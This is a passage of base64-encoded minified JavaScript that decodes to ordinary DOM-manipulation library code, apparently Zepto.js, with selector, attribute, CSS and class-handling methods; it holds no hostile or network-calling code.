Q2FzZSgpfWZ1bmN0aW9uIFIoYSl7cmV0dXJuIGEgaW4gaj9qW2FdOmpbYV09bmV3IFJlZ0V4cCgiKF58XFxzKSIrYSsiKFxcc3wkKSIpfWZ1bmN0aW9uIFMoYSxiKXtyZXR1cm4gdHlwZW9mIGI9PSJudW1iZXIiJiYha1tRKGEpXT9iKyJweCI6Yn1mdW5jdGlvbiBUKGEpe3ZhciBiLGM7cmV0dXJuIGlbYV18fChiPWguY3JlYXRlRWxlbWVudChhKSxoLmJvZHkuYXBwZW5kQ2hpbGQoYiksYz1nZXRDb21wdXRlZFN0eWxlKGIsIiIpLmdldFByb3BlcnR5VmFsdWUoImRpc3BsYXkiKSxiLnBhcmVudE5vZGUucmVtb3ZlQ2hpbGQoYiksYz09Im5vbmUiJiYoYz0iYmxvY2siKSxpW2FdPWMpLGlbYV19ZnVuY3Rpb24gVShhKXtyZXR1cm4iY2hpbGRyZW4iaW4gYT9mLmNhbGwoYS5jaGlsZHJlbik6Yy5tYXAoYS5jaGlsZE5vZGVzLGZ1bmN0aW9uKGEpe2lmKGEubm9kZVR5cGU9PTEpcmV0dXJuIGF9KX1mdW5jdGlvbiBWKGMsZCxlKXtmb3IoYiBpbiBkKWUmJihMKGRbYl0pfHxNKGRbYl0pKT8oTChkW2JdKSYmIUwoY1tiXSkmJihjW2JdPXt9KSxNKGRbYl0pJiYhTShjW2JdKSYmKGNbYl09W10pLFYoY1tiXSxkW2JdLGUpKTpkW2JdIT09YSYmKGNbYl09ZFtiXSl9ZnVuY3Rpb24gVyhhLGIpe3JldHVybiBiPT1udWxsP2MoYSk6YyhhKS5maWx0ZXIoYil9ZnVuY3Rpb24gWChhLGIsYyxkKXtyZXR1cm4gSChiKT9iLmNhbGwoYSxjLGQpOmJ9ZnVuY3Rpb24gWShhLGIsYyl7Yz09bnVsbD9hLnJlbW92ZUF0dHJpYnV0ZShiKTphLnNldEF0dHJpYnV0ZShiLGMpfWZ1bmN0aW9uIFooYixjKXt2YXIgZD1iLmNsYXNzTmFtZSxlPWQmJmQuYmFzZVZhbCE9PWE7aWYoYz09PWEpcmV0dXJuIGU/ZC5iYXNlVmFsOmQ7ZT9kLmJhc2VWYWw9YzpiLmNsYXNzTmFtZT1jfWZ1bmN0aW9uICQoYSl7dmFyIGI7dHJ5e3JldHVybiBhP2E9PSJ0cnVlInx8KGE9PSJmYWxzZSI/ITE6YT09Im51bGwiP251bGw6IS9eMC8udGVzdChhKSYmIWlzTmFOKGI9TnVtYmVyKGEpKT9iOi9eW1xbXHtdLy50ZXN0KGEpP2MucGFyc2VKU09OKGEpOmEpOmF9Y2F0Y2goZCl7cmV0dXJuIGF9fWZ1bmN0aW9uIF8oYSxiKXtiKGEpO2Zvcih2YXIgYyBpbiBhLmNoaWxkTm9kZXMpXyhhLmNoaWxkTm9kZXNbY10sYil9dmFyIGEsYixjLGQsZT1bXSxmPWUuc2xpY2UsZz1lLmZpbHRlcixoPXdpbmRvdy5kb2N1bWVudCxpPXt9LGo9e30saz17ImNvbHVtbi1jb3VudCI6MSxjb2x1bW5zOjEsImZvbnQtd2VpZ2h0IjoxLCJsaW5lLWhlaWdodCI6MSxvcGFjaXR5OjEsInotaW5kZXgiOjEsem9vbToxfSxsPS9eXHMqPChcdyt8ISlbXj5dKj4vLG09L148KFx3KylccypcLz8+KD86PFwvXDE+fCkkLyxuPS88KD8hYXJlYXxicnxjb2x8ZW1iZWR8aHJ8aW1nfGlucHV0fGxpbmt8bWV0YXxwYXJhbSkoKFtcdzpdKylbXj5dKilcLz4vaWcsbz0vXig/OmJvZHl8aHRtbCkkL2kscD0vKFtBLVpdKS9nLHE9WyJ2YWwiLCJjc3MiLCJodG1sIiwidGV4dCIsImRhdGEiLCJ3aWR0aCIsImhlaWdodCIsIm9mZnNldCJdLHI9WyJhZnRlciIsInByZXBlbmQiLCJiZWZvcmUiLCJhcHBlbmQiXSxzPWguY3JlYXRlRWxlbWVudCgidGFibGUiKSx0PWguY3JlYXRlRWxlbWVudCgidHIiKSx1PXt0cjpoLmNyZWF0ZUVsZW1lbnQoInRib2R5IiksdGJvZHk6cyx0aGVhZDpzLHRmb290OnMsdGQ6dCx0aDp0LCIqIjpoLmNyZWF0ZUVsZW1lbnQoImRpdiIpfSx2PS9jb21wbGV0ZXxsb2FkZWR8aW50ZXJhY3RpdmUvLHc9L15cLihbXHctXSspJC8seD0vXiMoW1x3LV0qKSQvLHk9L15bXHctXSokLyx6PXt9LEE9ei50b1N0cmluZyxCPXt9LEMsRCxFPWguY3JlYXRlRWxlbWVudCgiZGl2IiksRj17dGFiaW5kZXg6InRhYkluZGV4IixyZWFkb25seToicmVhZE9ubHkiLCJmb3IiOiJodG1sRm9yIiwiY2xhc3MiOiJjbGFzc05hbWUiLG1heGxlbmd0aDoibWF4TGVuZ3RoIixjZWxsc3BhY2luZzoiY2VsbFNwYWNpbmciLGNlbGxwYWRkaW5nOiJjZWxsUGFkZGluZyIscm93c3Bhbjoicm93U3BhbiIsY29sc3BhbjoiY29sU3BhbiIsdXNlbWFwOiJ1c2VNYXAiLGZyYW1lYm9yZGVyOiJmcmFtZUJvcmRlciIsY29udGVudGVkaXRhYmxlOiJjb250ZW50RWRpdGFibGUifTtyZXR1cm4gQi5tYXRjaGVzPWZ1bmN0aW9uKGEsYil7aWYoIWJ8fCFhfHxhLm5vZGVUeXBlIT09MSlyZXR1cm4hMTt2YXIgYz1hLndlYmtpdE1hdGNoZXNTZWxlY3Rvcnx8YS5tb3pNYXRjaGVzU2VsZWN0b3J8fGEub01hdGNoZXNTZWxlY3Rvcnx8YS5tYXRjaGVzU2VsZWN0b3I7aWYoYylyZXR1cm4gYy5jYWxsKGEsYik7dmFyIGQsZT1hLnBhcmVudE5vZGUsZj0hZTtyZXR1cm4gZiYmKGU9RSkuYXBwZW5kQ2hpbGQoYSksZD1+Qi5xc2EoZSxiKS5pbmRleE9mKGEpLGYmJkUucmVtb3ZlQ2hpbGQoYSksZH0sQz1mdW5jdGlvbihhKXtyZXR1cm4gYS5yZXBsYWNlKC8tKyguKT8vZyxmdW5jdGlvbihhLGIpe3JldHVybiBiP2IudG9VcHBlckNhc2UoKToiIn0pfSxEPWZ1bmN0aW9uKGEpe3JldHVybiBnLmNhbGwoYSxmdW5jdGlvbihiLGMpe3JldHVybiBhLmluZGV4T2YoYik9PWN9KX0sQi5mcmFnbWVudD1mdW5jdGlvbihiLGQsZSl7dmFyIGcsaSxqO3JldHVybiBtLnRlc3QoYikmJihnPWMoaC5jcmVhdGVFbGVtZW50KFJlZ0V4cC4kMSkpKSxnfHwoYi5yZXBsYWNlJiYoYj1iLnJlcGxhY2UobiwiPCQxPjwvJDI+IikpLGQ9PT1hJiYoZD1sLnRlc3QoYikmJlJlZ0V4cC4kMSksZCBpbiB1fHwoZD0iKiIpLGo9dVtkXSxqLmlubmVySFRNTD0iIitiLGc9Yy5lYWNoKGYuY2FsbChqLmNoaWxkTm9kZXMpLGZ1bmN0aW9uKCl7ai5yZW1vdmVDaGlsZCh0aGlzKX0pKSxMKGUpJiYoaT1jKGcpLGMuZWFjaChlLGZ1bmN0aW9uKGEsYil7cS5pbmRleE9mKGEpPi0xP2lbYV0oYik6aS5hdHRyKGEsYil9KSksZ30sQi5aPWZ1bmN0aW9uKGEsYil7cmV0dXJuIGE9YXx8W10sYS5fX3Byb3RvX189Yy5mbixhLnNlbGVjdG9yPWJ8fCIiLGF9LEIuaXNaPWZ1bmN0aW9uKGEpe3JldHVybiBhIGluc3RhbmNlb2YgQi5afSxCLmluaXQ9ZnVuY3Rpb24oYixkKXt2YXIgZTtpZighYilyZXR1cm4gQi5aKCk7aWYodHlwZW9mIGI9PSJzdHJpbmciKXtiPWIudHJpbSgpO2lmKGJbMF09PSI8IiYmbC50ZXN0KGIpKWU9Qi5mcmFnbWVudChiLFJlZ0V4cC4kMSxkKSxiPW51bGw7ZWxzZXtpZihkIT09YSlyZXR1cm4gYyhkKS5maW5kKGIpO2U9Qi5xc2EoaCxiKX19ZWxzZXtpZihIKGIpKXJldHVybiBjKGgpLnJlYWR5KGIpO2lmKEIuaXNaKGIpKXJldHVybiBiO2lmKE0oYikpZT1PKGIpO2Vsc2UgaWYoSyhiKSllPVtiXSxiPW51bGw7ZWxzZSBpZihsLnRlc3QoYikpZT1CLmZyYWdtZW50KGIudHJpbSgpLFJlZ0V4cC4kMSxkKSxiPW51bGw7ZWxzZXtpZihkIT09YSlyZXR1cm4gYyhkKS5maW5kKGIpO2U9Qi5xc2EoaCxiKX19cmV0dXJuIEIuWihlLGIpfSxjPWZ1bmN0aW9uKGEsYil7cmV0dXJuIEIuaW5pdChhLGIpfSxjLmV4dGVuZD1mdW5jdGlvbihhKXt2YXIgYixjPWYuY2FsbChhcmd1bWVudHMsMSk7cmV0dXJuIHR5cGVvZiBhPT0iYm9vbGVhbiImJihiPWEsYT1jLnNoaWZ0KCkpLGMuZm9yRWFjaChmdW5jdGlvbihjKXtWKGEsYyxiKX0pLGF9LEIucXNhPWZ1bmN0aW9uKGEsYil7dmFyIGMsZD1iWzBdPT0iIyIsZT0hZCYmYlswXT09Ii4iLGc9ZHx8ZT9iLnNsaWNlKDEpOmIsaD15LnRlc3QoZyk7cmV0dXJuIEooYSkmJmgmJmQ/KGM9YS5nZXRFbGVtZW50QnlJZChnKSk/W2NdOltdOmEubm9kZVR5cGUhPT0xJiZhLm5vZGVUeXBlIT09OT9bXTpmLmNhbGwoaCYmIWQ/ZT9hLmdldEVsZW1lbnRzQnlDbGFzc05hbWUoZyk6YS5nZXRFbGVtZW50c0J5VGFnTmFtZShiKTphLnF1ZXJ5U2VsZWN0b3JBbGwoYikpfSxjLmNvbnRhaW5zPWZ1bmN0aW9uKGEsYil7cmV0dXJuIGEhPT1iJiZhLmNvbnRhaW5zKGIpfSxjLnR5cGU9RyxjLmlzRnVuY3Rpb249SCxjLmlzV2luZG93PUksYy5pc0FycmF5PU0sYy5pc1BsYWluT2JqZWN0PUwsYy5pc0VtcHR5T2JqZWN0PWZ1bmN0aW9uKGEpe3ZhciBiO2ZvcihiIGluIGEpcmV0dXJuITE7cmV0dXJuITB9LGMuaW5BcnJheT1mdW5jdGlvbihhLGIsYyl7cmV0dXJuIGUuaW5kZXhPZi5jYWxsKGIsYSxjKX0sYy5jYW1lbENhc2U9QyxjLnRyaW09ZnVuY3Rpb24oYSl7cmV0dXJuIGE9PW51bGw/IiI6U3RyaW5nLnByb3RvdHlwZS50cmltLmNhbGwoYSl9LGMudXVpZD0wLGMuc3VwcG9ydD17fSxjLmV4cHI9e30sYy5tYXA9ZnVuY3Rpb24oYSxiKXt2YXIgYyxkPVtdLGUsZjtpZihOKGEpKWZvcihlPTA7ZTxhLmxlbmd0aDtlKyspYz1iKGFbZV0sZSksYyE9bnVsbCYmZC5wdXNoKGMpO2Vsc2UgZm9yKGYgaW4gYSljPWIoYVtmXSxmKSxjIT1udWxsJiZkLnB1c2goYyk7cmV0dXJuIFAoZCl9LGMuZWFjaD1mdW5jdGlvbihhLGIpe3ZhciBjLGQ7aWYoTihhKSl7Zm9yKGM9MDtjPGEubGVuZ3RoO2MrKylpZihiLmNhbGwoYVtjXSxjLGFbY10pPT09ITEpcmV0dXJuIGF9ZWxzZSBmb3IoZCBpbiBhKWlmKGIuY2FsbChhW2RdLGQsYVtkXSk9PT0hMSlyZXR1cm4gYTtyZXR1cm4gYX0sYy5ncmVwPWZ1bmN0aW9uKGEsYil7cmV0dXJuIGcuY2FsbChhLGIpfSx3aW5kb3cuSlNPTiYmKGMucGFyc2VKU09OPUpTT04ucGFyc2UpLGMuZWFjaCgiQm9vbGVhbiBOdW1iZXIgU3RyaW5nIEZ1bmN0aW9uIEFycmF5IERhdGUgUmVnRXhwIE9iamVjdCBFcnJvciIuc3BsaXQoIiAiKSxmdW5jdGlvbihhLGIpe3pbIltvYmplY3QgIitiKyJdIl09Yi50b0xvd2VyQ2FzZSgpfSksYy5mbj17Zm9yRWFjaDplLmZvckVhY2gscmVkdWNlOmUucmVkdWNlLHB1c2g6ZS5wdXNoLHNvcnQ6ZS5zb3J0LGluZGV4T2Y6ZS5pbmRleE9mLGNvbmNhdDplLmNvbmNhdCxtYXA6ZnVuY3Rpb24oYSl7cmV0dXJuIGMoYy5tYXAodGhpcyxmdW5jdGlvbihiLGMpe3JldHVybiBhLmNhbGwoYixjLGIpfSkpfSxzbGljZTpmdW5jdGlvbigpe3JldHVybiBjKGYuYXBwbHkodGhpcyxhcmd1bWVudHMpKX0scmVhZHk6ZnVuY3Rpb24oYSl7cmV0dXJuIHYudGVzdChoLnJlYWR5U3RhdGUpJiZoLmJvZHk/YShjKTpoLmFkZEV2ZW50TGlzdGVuZXIoIkRPTUNvbnRlbnRMb2FkZWQiLGZ1bmN0aW9uKCl7YShjKX0sITEpLHRoaXN9LGdldDpmdW5jdGlvbihiKXtyZXR1cm4gYj09PWE/Zi5jYWxsKHRoaXMpOnRoaXNbYj49MD9iOmIrdGhpcy5sZW5ndGhdfSx0b0FycmF5OmZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMuZ2V0KCl9LHNpemU6ZnVuY3Rpb24oKXtyZXR1cm4gdGhpcy5sZW5ndGh9LHJlbW92ZTpmdW5jdGlvbigpe3JldHVybiB0aGlzLmVhY2goZnVuY3Rpb24oKXt0aGlzLnBhcmVudE5vZGUhPW51bGwmJnRoaXMucGFyZW50Tm9kZS5yZW1vdmVDaGlsZCh0aGlzKX0pfSxlYWNoOmZ1bmN0aW9uKGEpe3JldHVybiBlLmV2ZXJ5LmNhbGwodGhpcyxmdW5jdGlvbihiLGMpe3JldHVybiBhLmNhbGwoYixjLGIpIT09ITF9KSx0aGlzfSxmaWx0ZXI6ZnVuY3Rpb24oYSl7cmV0dXJuIEgoYSk/dGhpcy5ub3QodGhpcy5ub3QoYSkpOmMoZy5jYWxsKHRoaXMsZnVuY3Rpb24oYil7cmV0dXJuIEIubWF0Y2hlcyhiLGEpfSkpfSxhZGQ6ZnVuY3Rpb24oYSxiKXtyZXR1cm4gYyhEKHRoaXMuY29uY2F0KGMoYSxiKSkpKX0saXM6ZnVuY3Rpb24oYSl7cmV0dXJuIHRoaXMubGVuZ3RoPjAmJkIubWF0Y2hlcyh0aGlzWzBdLGEpfSxub3Q6ZnVuY3Rpb24oYil7dmFyIGQ9W107aWYoSChiKSYmYi5jYWxsIT09YSl0aGlzLmVhY2goZnVuY3Rpb24oYSl7Yi5jYWxsKHRoaXMsYSl8fGQucHVzaCh0aGlzKX0pO2Vsc2V7dmFyIGU9dHlwZW9mIGI9PSJzdHJpbmciP3RoaXMuZmlsdGVyKGIpOk4oYikmJkgoYi5pdGVtKT9mLmNhbGwoYik6YyhiKTt0aGlzLmZvckVhY2goZnVuY3Rpb24oYSl7ZS5pbmRleE9mKGEpPDAmJmQucHVzaChhKX0pfXJldHVybiBjKGQpfSxoYXM6ZnVuY3Rpb24oYSl7cmV0dXJuIHRoaXMuZmlsdGVyKGZ1bmN0aW9uKCl7cmV0dXJuIEsoYSk/Yy5jb250YWlucyh0aGlzLGEpOmModGhpcykuZmluZChhKS5zaXplKCl9KX0sZXE6ZnVuY3Rpb24oYSl7cmV0dXJuIGE9PT0tMT90aGlzLnNsaWNlKGEpOnRoaXMuc2xpY2UoYSwrYSsxKX0sZmlyc3Q6ZnVuY3Rpb24oKXt2YXIgYT10aGlzWzBdO3JldHVybiBhJiYhSyhhKT9hOmMoYSl9LGxhc3Q6ZnVuY3Rpb24oKXt2YXIgYT10aGlzW3RoaXMubGVuZ3RoLTFdO3JldHVybiBhJiYhSyhhKT9hOmMoYSl9LGZpbmQ6ZnVuY3Rpb24oYSl7dmFyIGIsZD10aGlzO3JldHVybiB0eXBlb2YgYT09Im9iamVjdCI/Yj1jKGEpLmZpbHRlcihmdW5jdGlvbigpe3ZhciBhPXRoaXM7cmV0dXJuIGUuc29tZS5jYWxsKGQsZnVuY3Rpb24oYil7cmV0dXJuIGMuY29udGFpbnMoYixhKX0pfSk6dGhpcy5sZW5ndGg9PTE/Yj1jKEIucXNhKHRoaXNbMF0sYSkpOmI9dGhpcy5tYXAoZnVuY3Rpb24oKXtyZXR1cm4gQi5xc2EodGhpcyxhKX0pLGJ9LGNsb3Nlc3Q6ZnVuY3Rpb24oYSxiKXt2YXIgZD10aGlzWzBdLGU9ITE7dHlwZW9mIGE9PSJvYmplY3QiJiYoZT1jKGEpKTt3aGlsZShkJiYhKGU/ZS5pbmRleE9mKGQpPj0wOkIubWF0Y2hlcyhkLGEpKSlkPWQhPT1iJiYhSihkKSYmZC5wYXJlbnROb2RlO3JldHVybiBjKGQpfSxwYXJlbnRzOmZ1bmN0aW9uKGEpe3ZhciBiPVtdLGQ9dGhpczt3aGlsZShkLmxlbmd0aD4wKWQ9Yy5tYXAoZCxmdW5jdGlvbihhKXtpZigoYT1hLnBhcmVudE5vZGUpJiYhSihhKSYmYi5pbmRleE9mKGEpPDApcmV0dXJuIGIucHVzaChhKSxhfSk7cmV0dXJuIFcoYixhKX0scGFyZW50OmZ1bmN0aW9uKGEpe3JldHVybiBXKEQodGhpcy5wbHVjaygicGFyZW50Tm9kZSIpKSxhKX0sY2hpbGRyZW46ZnVuY3Rpb24oYSl7cmV0dXJuIFcodGhpcy5tYXAoZnVuY3Rpb24oKXtyZXR1cm4gVSh0aGlzKX0pLGEpfSxjb250ZW50czpmdW5jdGlvbigpe3JldHVybiB0aGlzLm1hcChmdW5jdGlvbigpe3JldHVybiBmLmNhbGwodGhpcy5jaGlsZE5vZGVzKX0pfSxzaWJsaW5nczpmdW5jdGlvbihhKXtyZXR1cm4gVyh0aGlzLm1hcChmdW5jdGlvbihhLGIpe3JldHVybiBnLmNhbGwoVShiLnBhcmVudE5vZGUpLGZ1bmN0aW9uKGEpe3JldHVybiBhIT09Yn0pfSksYSl9LGVtcHR5OmZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMuZWFjaChmdW5jdGlvbigpe3RoaXMuaW5uZXJIVE1MPSIifSl9LHBsdWNrOmZ1bmN0aW9uKGEpe3JldHVybiBjLm1hcCh0aGlzLGZ1bmN0aW9uKGIpe3JldHVybiBiW2FdfSl9LHNob3c6ZnVuY3Rpb24oKXtyZXR1cm4gdGhpcy5lYWNoKGZ1bmN0aW9uKCl7dGhpcy5zdHlsZS5kaXNwbGF5PT0ibm9uZSImJih0aGlzLnN0eWxlLmRpc3BsYXk9IiIpLGdldENvbXB1dGVkU3R5bGUodGhpcywiIikuZ2V0UHJvcGVydHlWYWx1ZSgiZGlzcGxheSIpPT0ibm9uZSImJih0aGlzLnN0eWxlLmRpc3BsYXk9VCh0aGlzLm5vZGVOYW1lKSl9KX0scmVwbGFjZVdpdGg6ZnVuY3Rpb24oYSl7cmV0dXJuIHRoaXMuYmVmb3JlKGEpLnJlbW92ZSgpfSx3cmFwOmZ1bmN0aW9uKGEpe3ZhciBiPUgoYSk7aWYodGhpc1swXSYmIWIpdmFyIGQ9YyhhKS5nZXQoMCksZT1kLnBhcmVudE5vZGV8fHRoaXMubGVuZ3RoPjE7cmV0dXJuIHRoaXMuZWFjaChmdW5jdGlvbihmKXtjKHRoaXMpLndyYXBBbGwoYj9hLmNhbGwodGhpcyxmKTplP2QuY2xvbmVOb2RlKCEwKTpkKX0pfSx3cmFwQWxsOmZ1bmN0aW9uKGEpe2lmKHRoaXNbMF0pe2ModGhpc1swXSkuYmVmb3JlKGE9YyhhKSk7dmFyIGI7d2hpbGUoKGI9YS5jaGlsZHJlbigpKS5sZW5ndGgpYT1iLmZpcnN0KCk7YyhhKS5hcHBlbmQodGhpcyl9cmV0dXJuIHRoaXN9LHdyYXBJbm5lcjpmdW5jdGlvbihhKXt2YXIgYj1IKGEpO3JldHVybiB0aGlzLmVhY2goZnVuY3Rpb24oZCl7dmFyIGU9Yyh0aGlzKSxmPWUuY29udGVudHMoKSxnPWI/YS5jYWxsKHRoaXMsZCk6YTtmLmxlbmd0aD9mLndyYXBBbGwoZyk6ZS5hcHBlbmQoZyl9KX0sdW53cmFwOmZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMucGFyZW50KCkuZWFjaChmdW5jdGlvbigpe2ModGhpcykucmVwbGFjZVdpdGgoYyh0aGlzKS5jaGlsZHJlbigpKX0pLHRoaXN9LGNsb25lOmZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMubWFwKGZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMuY2xvbmVOb2RlKCEwKX0pfSxoaWRlOmZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMuY3NzKCJkaXNwbGF5Iiwibm9uZSIpfSx0b2dnbGU6ZnVuY3Rpb24oYil7cmV0dXJuIHRoaXMuZWFjaChmdW5jdGlvbigpe3ZhciBkPWModGhpcyk7KGI9PT1hP2QuY3NzKCJkaXNwbGF5Iik9PSJub25lIjpiKT9kLnNob3coKTpkLmhpZGUoKX0pfSxwcmV2OmZ1bmN0aW9uKGEpe3JldHVybiBjKHRoaXMucGx1Y2soInByZXZpb3VzRWxlbWVudFNpYmxpbmciKSkuZmlsdGVyKGF8fCIqIil9LG5leHQ6ZnVuY3Rpb24oYSl7cmV0dXJuIGModGhpcy5wbHVjaygibmV4dEVsZW1lbnRTaWJsaW5nIikpLmZpbHRlcihhfHwiKiIpfSxodG1sOmZ1bmN0aW9uKGEpe3JldHVybiBhcmd1bWVudHMubGVuZ3RoPT09MD90aGlzLmxlbmd0aD4wP3RoaXNbMF0uaW5uZXJIVE1MOm51bGw6dGhpcy5lYWNoKGZ1bmN0aW9uKGIpe3ZhciBkPXRoaXMuaW5uZXJIVE1MO2ModGhpcykuZW1wdHkoKS5hcHBlbmQoWCh0aGlzLGEsYixkKSl9KX0sdGV4dDpmdW5jdGlvbihiKXtyZXR1cm4gYXJndW1lbnRzLmxlbmd0aD09PTA/dGhpcy5sZW5ndGg+MD90aGlzWzBdLnRleHRDb250ZW50Om51bGw6dGhpcy5lYWNoKGZ1bmN0aW9uKCl7dGhpcy50ZXh0Q29udGVudD1iPT09YT8iIjoiIitifSl9LGF0dHI6ZnVuY3Rpb24oYyxkKXt2YXIgZTtyZXR1cm4gdHlwZW9mIGM9PSJzdHJpbmciJiZkPT09YT90aGlzLmxlbmd0aD09MHx8dGhpc1swXS5ub2RlVHlwZSE9PTE/YTpjPT0idmFsdWUiJiZ0aGlzWzBdLm5vZGVOYW1lPT0iSU5QVVQiP3RoaXMudmFsKCk6IShlPXRoaXNbMF0uZ2V0QXR0cmlidXRlKGMpKSYmYyBpbiB0aGlzWzBdP3RoaXNbMF1bY106ZTp0aGlzLmVhY2goZnVuY3Rpb24oYSl7aWYodGhpcy5ub2RlVHlwZSE9PTEpcmV0dXJuO2lmKEsoYykpZm9yKGIgaW4gYylZKHRoaXMsYixjW2JdKTtlbHNlIFkodGhpcyxjLFgodGhpcyxkLGEsdGhpcy5nZXRBdHRyaWJ1dGUoYykpKX0pfSxyZW1vdmVBdHRyOmZ1bmN0aW9uKGEpe3JldHVybiB0aGlzLmVhY2goZnVuY3Rpb24oKXt0aGlzLm5vZGVUeXBlPT09MSYmWSh0aGlzLGEpfSl9LHByb3A6ZnVuY3Rpb24oYixjKXtyZXR1cm4gYj1GW2JdfHxiLGM9PT1hP3RoaXNbMF0mJnRoaXNbMF1bYl06dGhpcy5lYWNoKGZ1bmN0aW9uKGEpe3RoaXNbYl09WCh0aGlzLGMsYSx0aGlzW2JdKX0pfSxkYXRhOmZ1bmN0aW9uKGIsYyl7dmFyIGQ9dGhpcy5hdHRyKCJkYXRhLSIrYi5yZXBsYWNlKHAsIi0kMSIpLnRvTG93ZXJDYXNlKCksYyk7cmV0dXJuIGQhPT1udWxsPyQoZCk6YX0sdmFsOmZ1bmN0aW9uKGEpe3JldHVybiBhcmd1bWVudHMubGVuZ3RoPT09MD90aGlzWzBdJiYodGhpc1swXS5tdWx0aXBsZT9jKHRoaXNbMF0pLmZpbmQoIm9wdGlvbiIpLmZpbHRlcihmdW5jdGlvbigpe3JldHVybiB0aGlzLnNlbGVjdGVkfSkucGx1Y2soInZhbHVlIik6dGhpc1swXS52YWx1ZSk6dGhpcy5lYWNoKGZ1bmN0aW9uKGIpe3RoaXMudmFsdWU9WCh0aGlzLGEsYix0aGlzLnZhbHVlKX0pfSxvZmZzZXQ6ZnVuY3Rpb24oYSl7aWYoYSlyZXR1cm4gdGhpcy5lYWNoKGZ1bmN0aW9uKGIpe3ZhciBkPWModGhpcyksZT1YKHRoaXMsYSxiLGQub2Zmc2V0KCkpLGY9ZC5vZmZzZXRQYXJlbnQoKS5vZmZzZXQoKSxnPXt0b3A6ZS50b3AtZi50b3AsbGVmdDplLmxlZnQtZi5sZWZ0fTtkLmNzcygicG9zaXRpb24iKT09InN0YXRpYyImJihnLnBvc2l0aW9uPSJyZWxhdGl2ZSIpLGQuY3NzKGcpfSk7aWYodGhpcy5sZW5ndGg9PTApcmV0dXJuIG51bGw7dmFyIGI9dGhpc1swXS5nZXRCb3VuZGluZ0NsaWVudFJlY3QoKTtyZXR1cm57bGVmdDpiLmxlZnQrd2luZG93LnBhZ2VYT2Zmc2V0LHRvcDpiLnRvcCt3aW5kb3cucGFnZVlPZmZzZXQsd2lkdGg6TWF0aC5yb3VuZChiLndpZHRoKSxoZWlnaHQ6TWF0aC5yb3VuZChiLmhlaWdodCl9fSxjc3M6ZnVuY3Rpb24oYSxkKXtpZihhcmd1bWVudHMubGVuZ3RoPDIpe3ZhciBlPXRoaXNbMF0sZj1nZXRDb21wdXRlZFN0eWxlKGUsIiIpO2lmKCFlKXJldHVybjtpZih0eXBlb2YgYT09InN0cmluZyIpcmV0dXJuIGUuc3R5bGVbQyhhKV18fGYuZ2V0UHJvcGVydHlWYWx1ZShhKTtpZihNKGEpKXt2YXIgZz17fTtyZXR1cm4gYy5lYWNoKE0oYSk/YTpbYV0sZnVuY3Rpb24oYSxiKXtnW2JdPWUuc3R5bGVbQyhiKV18fGYuZ2V0UHJvcGVydHlWYWx1ZShiKX0pLGd9fXZhciBoPSIiO2lmKEcoYSk9PSJzdHJpbmciKSFkJiZkIT09MD90aGlzLmVhY2goZnVuY3Rpb24oKXt0aGlzLnN0eWxlLnJlbW92ZVByb3BlcnR5KFEoYSkpfSk6aD1RKGEpKyI6IitTKGEsZCk7ZWxzZSBmb3IoYiBpbiBhKSFhW2JdJiZhW2JdIT09MD90aGlzLmVhY2goZnVuY3Rpb24oKXt0aGlzLnN0eWxlLnJlbW92ZVByb3BlcnR5KFEoYikpfSk6aCs9UShiKSsiOiIrUyhiLGFbYl0pKyI7IjtyZXR1cm4gdGhpcy5lYWNoKGZ1bmN0aW9uKCl7dGhpcy5zdHlsZS5jc3NUZXh0Kz0iOyIraH0pfSxpbmRleDpmdW5jdGlvbihhKXtyZXR1cm4gYT90aGlzLmluZGV4T2YoYyhhKVswXSk6dGhpcy5wYXJlbnQoKS5jaGlsZHJlbigpLmluZGV4T2YodGhpc1swXSl9LGhhc0NsYXNzOmZ1bmN0aW9uKGEpe3JldHVybiBhP2Uuc29tZS5jYWxsKHRoaXMsZnVuY3Rpb24oYSl7cmV0dXJuIHRoaXMudGVzdChaKGEpKX0sUihhKSk6ITF9LGFkZENsYXNzOmZ1bmN0aW9uKGEpe3JldHVybiBhP3RoaXMuZWFjaChmdW5jdGlvbihiKXtkPVtdO3ZhciBlPVoodGhpcyksZj1YKHRoaXMsYSxiLGUpO2Yuc3BsaXQoL1xzKy9nKS5mb3JFYWNoKGZ1bmN0aW9uKGEpe2ModGhpcykuaGFzQ2xhc3MoYSl8fGQucHVzaChhKX0sdGhpcyksZC5sZW5ndGgmJloodGhpcyxlKyhlPyIgIjoiIikrZC5qb2luKCIgIikpfSk6dGhpc30scmVtb3ZlQ2xhc3M6ZnVuY3Rpb24oYil7cmV0dXJuIHRoaXMuZWFjaChmdW5jdGlvbihjKXtpZihiPT09YSlyZXR1cm4gWih0aGlzLCIiKTtkPVoodGhpcyksWCh0aGlzLGIsYyxkKS5zcGxpdCgvXHMrL2cpLmZvckVhY2goZnVuY3Rpb24oYSl7ZD1kLnJlcGxhY2UoUihhKSwiICIpfSksWih0aGlzLGQudHJpbSgpKX0pfSx0b2dnbGVDbGFzczpmdW5jdGlvbihiLGQpe3JldHVybiBiP3RoaXMuZWFjaChmdW5jdGlvbihlKXt2YXIgZj1jKHRoaXMpLGc9WCh0aGlzLGIsZSxaKHRoaXMpKTtnLnNwbGl0KC9ccysvZykuZm9yRWFjaChmdW5jdGlvbihiKXsoZD09PWE/IWYuaGFzQ2xhc3MoYik6ZCk/Zi5hZGRDbGFzcyhiKTpmLnJlbW92ZUNsYXNzKGIpfSl9KTp0aGlzfSxzY3JvbGxUb3A6ZnVuY3Rpb24oYil7aWYoIXRoaXMubGVuZ3RoKXJldHVybjt2YXIgYz0ic2Nyb2xsVG9wImluIHRoaXNbMF07cmV0dXJuIGI9PT1hP2M/dGhpc1swXS5zY3JvbGxUb3A6dGhpc1swXS5wYWdlWU9mZnNldDp0aGlzLmVhY2goYz9mdW5jdGlvbigpe3RoaXMuc2Nyb2xsVG9wPWJ9OmZ1bmN0aW9uKCl7dGhpcy5zY3JvbGxUbyh0aGlzLnNjcm9sbFgsYil9KX0sc2Nyb2xsTGVmdDpmdW5jdGlvbihiKXtpZighdGhpcy5sZW5ndGgpcmV0dXJuO3ZhciBjPSJzY3JvbGxMZWZ0ImluIHRoaXNbMF07cmV0dXJuIGI9PT1hP2M/dGhpc1swXS5zY3JvbGxMZWZ0OnRoaXNbMF0ucGFnZVhPZmZzZXQ6dGhpcy5lYWNoKGM/ZnVuY3Rpb24oKXt0aGlzLnNjcm9sbExlZnQ9Yn06ZnVuY3Rp